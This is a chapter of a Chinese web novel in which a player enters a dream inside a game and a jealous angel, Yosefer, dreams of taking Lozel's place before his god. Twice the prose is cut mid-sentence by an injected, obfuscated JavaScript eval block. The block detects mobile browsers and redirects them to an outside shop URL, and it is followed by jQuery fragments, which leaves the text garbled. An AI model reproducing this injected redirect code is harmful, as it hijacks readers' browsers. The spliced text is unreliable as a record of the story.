这游戏什么时候搞出新模式了？ 还是说，是和间幕差不多的东西，只是换了个形式。 他刚好奇地点进去，就发现自己的视角再一次变化起来—— 【您陷入了睡梦之中。】 【您置身在？？？的梦境里。】 洛橙：“？” 洛橙来了兴致，坐直起来。 洛橙本想在这个所谓的梦境乱转一下，却发现自己就和那会在间幕时一模一样，对屏幕里的自己失去了操纵。 无法自由操控视角的洛橙，只能携着满满的好奇，打量起这个神秘的梦境。 方一观察，洛橙就被惊讶到了。 这个梦里的环境，和遗弃之地简直天差地别。 如果说遗弃之地是完全的荒野风格，空旷寂寥，一无所有，这里便是明亮洁净的殿堂，云彩堆簇，神圣凛然。 精细得就像是一处无比真实的现实。 是新地图么？洛橙脑海不经冒出这个想法。 但最叫洛橙惊讶的并不是这陌生的环境，而是自己眼前的天使。 ——熟悉又有些陌生的，灰发灰眸的圣天使，正展开漂亮的羽翼，即将要将洛橙拥入怀中。 不是习惯了的像素画风，如同cg一样精致的洛泽尔垂落的长睫微微敛起，脸上银色羽毛状的圣纹缀在脸颊上，有种难以形容、神圣不可侵犯的美感。 洛橙听到了自己微微含笑的声音。 “抱我吧，洛泽尔。” 没有人会对自己的声音陌生。 平日里，大家听得最多的就是自己的声音。 可是洛橙从没有像此时一样，对自己的声音感到陌生。 不是骨传导带来的熟悉，也不是录音设备播放时难以去除的轻微的变化，更像是从他人耳中，真真切切地听到了自己的声音。 轻缓的、甜蜜的，像是恶魔蛊惑人心时动人心魄的低语。 “你难道……不想把我拥进怀中么？” 洛橙一下子脸红起来了。 他、他知道游戏会采集人的声音和影像，在进入《创世界》前也明白游戏使人堪称毫无隐私地读取了自己的全部数据，所以没有捏脸，游戏里的小人也毫无疑问是洛橙本人的形象。 但洛橙不知道，原来自己的声音，还会被用到此时的剧情里。 这样含着清浅笑意，尾音暧昧缱绻，轻轻用声音勾弄引诱别人的家伙，真的是他吗？ 他、他那个时候，声音在游戏里的角色听起来，竟然是这个样子的吗？ 然而，听到神主命令的天使并不像那个时候那般毫不犹豫地顺从了命令。 他微微弯腰，与洛橙近在咫尺，迟迟没有动作。 向来听话顺从的圣天使，只是用一双银灰色的眼睛，沉默又专注地注视着洛橙。 洛泽尔低着头，光线落不进他的眸子，只有一点深沉又隐忍的情感，在凝稠的灰色里缓慢流转。 洛橙在这两颗灰色的宝石里，看见自己的身影像火焰一样在里边静静燃烧。 在这一刻，洛橙有种奇异的错觉，这个正在眼前、将要把自己拥入怀中的天使，并不是真正的洛泽尔。 在意识到这一点后，梦境骤然掀开出了它隐藏的一角。 另一个陌生的人影，隐隐重叠在洛泽尔身上。 ‘洛泽尔’头顶，【？？？】格外明显。 像是别的灵魂，附身在其上；又像是另一个人的全部感知，被拖拽到这具拥抱着洛橙的身体里。 又好像，这只是一个人，在看见某件既定却又叫人嫉妒的事情后，独自深眠，在无人知晓的隐蔽睡梦中，将其取而代之。 察觉到这一点后，洛橙忽然觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716004|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点新奇。 他用一种奇异的眼神，就像看着一朵双生花般看着这个冒充洛泽尔的神秘人。 这、这真的假的？你们游戏制作组搞这么花的吗？ 这还是我熟悉的哪个《创世界》吗？ 这个新出的家伙是谁啊？好奇怪、好变态哦。 ——但是他喜欢ovo 面对某种未知，玩家永远是兴奋的。 洛橙有点期待这个神秘人想要做什么了。 当温馨闲暇游戏玩了这么久，难不成这个游戏决定要开战斗线啦？ 他不仅没有要揭穿的意思，反而眼睛亮闪闪的，期待对方会做出什么事情来。 是想要伪装洛泽尔，在洛橙放松的时候给他一刀呢？ 还是像在洛橙靠过去的时候突然撕开自己的伪装，露出怪物狰狞的面容？ 又或者想借助洛泽尔的口，说些蛊惑人心的话语？ 但令洛橙没想到的是，走向和洛橙想得截然相反。 “……我真的可以抱您么？” 不明身份、也不知道自己已经被看穿的天使，不知何时跪伏在洛橙面前，执着洛橙的手，略薄的唇瓣几乎要贴到洛橙的手背上，几乎颤抖般将这几个字含在唇齿间。 这问询的对象，比起洛橙，更像是天使本身在反复迟疑。 明明用着洛泽尔如霜雪般有些清棱的声线，语气却格外低柔缱绻。 那双灰色的眼睛里，燃烧着与洛泽尔截然不同的暗火。 他像是沉浸在一个瑰色的梦境里，自己都没发觉自己说出了什么会暴露的话语。 “我、我也……可以么……？” 脆弱的、茫然的，隐藏着某种可以为所欲为的暗示的，对方自己都没发觉的渴望与讨好。 屏幕适时冒出了一个可以选择自由填写的对话框。 洛橙眨了眨眼睛，从对方下意识的反应中察觉到某种奇妙。 明明此刻被困在梦境里的洛橙本没有对这个梦境的掌控权，可当天使喃喃自语出声时，主动权就像空中随性飘落的雨，流淌到了大地上。 在此之后，无论是浸到土壤，还是落在花枝上，一切自由的选择，都不住对方的手里了。 那种如同猫咪看到毛线团时的蠢蠢欲动，再一次悄声无息地冒在洛橙的心尖。 让他，忽然很想做点恶作剧—— 19.019 约斐尔知道自己在做梦。 明明天使很少会做梦，但自从被迫与神主身边的洛泽尔共感好几次后，梦境便成了无处言说的欲.望寄身之处。 【神主现在……在我怀里。】 这句如同诅咒一般的炫耀话语，再一次深深浮现在脑海，如同附骨之疽一般无法斥散。 约斐尔嫉妒着，又渴望着，生生烧红了一双淡蓝色的眼瞳。 ……凭什么。 凭什么凭什么凭什么—— 凭什么——凭什么洛泽尔能够这么幸运？ 凭什么他能够第一个见到神主，凭什么他能够如此大胆妄为将神主拥入怀中？凭什么他却只能一遍又一遍，在无人知晓的深夜，在隐蔽黑暗的欲.梦里，不甘地像个即将渴水而亡的旅者一般，拼命抿着树叶上一弯混着剧毒的糖汁。 想要取而代之的心情像是蔓延的烈火，流过之处都会带来无尽的痛苦与烧灼。 ……但是这样的心情是错误的、不该存在的。 比起被神主亲近的洛泽尔，此时的约斐尔对于神主而言，只是一个陌生的眷属。 他有什么资格嫉妒呢？ 日有所思，夜有所梦。 于是连寄托欲.望的梦境也变得苦涩起来。 只能一遍又一遍地在梦境里重复着现实里曾发生过的一切。 ……但就连这复杂的情绪，都只是约斐尔从别人那偶然窥见珍宝后产生的。 他所有的感知像是蒙了层面纱，看不见神主当时如何朝洛泽尔露出可爱的微笑，无法看清神主真实的面容，就连那柔软细腻的指尖，传达过来的温度都若有似无。 ——如果现实里暂时无法触及的话，那么，在梦境里放纵一些也无所谓吧。 约斐尔原本是这么想的。 一个梦反反复复过了无数次，就很难再辨认出真假了。 在积攒足够力量、即将穿过结界迎来神主前的这一夜，约斐尔的梦境愈发大胆起来。 明明还在描摹着那个时候发生的事情，却再也不是固定的地点和人物。 只是偶尔放纵一次、应该没有关系的吧？ 就算多出不合时宜的反应，也不会被梦里的神主怀疑吧？ 那么，可不可以，将那碍眼的存在所取代，换他跪伏在神主面前呈上自己的一切？ 嫉妒、妄想、欲-念，无数情绪搅成一团。 直到他在恍惚中，被神主轻轻挑起了下巴。 这个动作是如此熟悉—— 在那传来的共感中，神主曾这般对待洛泽尔。 而现在，被神主勾起下巴的人，却在睡梦中，被约斐尔置换成了自己。 无人知晓这罪恶的欲-望，但即便是梦境，诞生这般妄念，并试图取代的自己，已经犯下了最大的罪。 ……但这只是梦而已啊。 现实里，会被神主这样狎昵触碰的，绝不是约斐尔。 而他也绝不会像洛泽尔那样无耻地冒犯神主。 神主是圣洁的、无暇的，没有任何天使能够霸占神主。 洛泽尔，是在亵神，是为不敬。 似乎是察觉到他心态的转变，这个梦境骤然变化起来。 一直默不作声的神主，忽然流露出无比鲜活的神态。 他问着自己最为忠诚的眷属： “那么，你想我回答，‘可以’，还是‘不可以’呢？” 神主的声音如梦似幻，轻轻含着笑意，如同恶魔般蛊惑人心。 现实里的洛泽尔会毫不犹豫地抱上去，梦境里的约斐尔，却深深地垂首，将自己的姿态放得更低。 “……不可以。”他回答的声音哑到几近痛苦，却无比坚定。 与执掌“力量”权柄的洛泽尔不同，执掌“智慧”权柄的约斐尔本该是理智的代名词。 不能被欲.望裹挟，不该被嫉妒吞噬。 不该像现在这般，一遍又一遍地沉溺在无耻的梦境里。 这是错误，这是异常。 可以渴望神主，不能拥有神主。 而他，绝不会如洛泽尔那般贪得无厌，惹人心烦。 纵然…… 鼻翼间感知得到神主身上模糊的香气。 只在第一次才听到的、独属于神主的声线，用着截然不同的语调亲昵地落在耳膜。 低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722312|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂眼眸时，看见神主雪白细腻的肌肤…… ……不能去想。 天使听见神主极轻极轻地笑了一声。 潜入他梦境里，被他渴慕着、幻想着，又敬重着、不敢亵渎的神主，笑声就像是冬日无法抵挡春天到来，草木遇水向阳便蓬勃生长，毫无阻碍地穿过他的躯干，捏住他的心脏。 神主似乎觉得有趣，于是连说话时，语气也带上了若有似无地勾弄。 “——那么，你现在在做什么呢？” 说着不可以，唇瓣却几乎要挨到神主雪白柔软的手背上。 以跪伏垂首的姿态，背后的羽翼却早已展开，几乎下一瞬就要将神主圈进怀里。 那因顺服而露出的颈线，凛冽而美丽；与约斐尔贴着脑袋藏匿在灰发的耳羽不同，用着洛泽尔模样、却在细节上暴露的天使，那双耳羽垂落向下，兴奋地翁张。 低下头时，漂亮的喉结滚动起伏，藏匿着微不可查的引诱。 本该虚幻的、无知无觉的神主，此时那爱怜的语气就像湖泊上的浮冰，随时都会融化进水底。 “——在你自己的梦里，也想要试图欺骗自己么？” 约斐尔愕然抬头。 他看见神主的面容一点一点从迷雾中清晰起来。 略带稚气的精致眉眼，雪白的肤色，唇瓣像是花朵一样柔软。 没有耳羽也没有翅膀，少年的身形就像是清晨雨后刚刚抽出花苞的细枝。 明明是从没见过的面容，却让约斐尔在这一瞬明悟，这便是他将要为止付出一切的神主。 神主有些漫不经心地笑了起来，约斐尔在那双漂亮的眼睛里看见几乎要彻底沉溺在这个梦境里的自己。 “如果你觉得不可以，” “那么，现在是谁，在以这般装模作样的姿态引诱着我呢？” 花朵般柔软的唇瓣微微翘起，一字一句，轻声细语，吐露出甜蜜的香气。 让人置身天堂，又坠入深渊。 “——这位冒充洛泽尔的，不知名客人。” …… 在即将寻到神主的最后一夜前夕，陷入睡梦中的约斐尔骤然惊醒。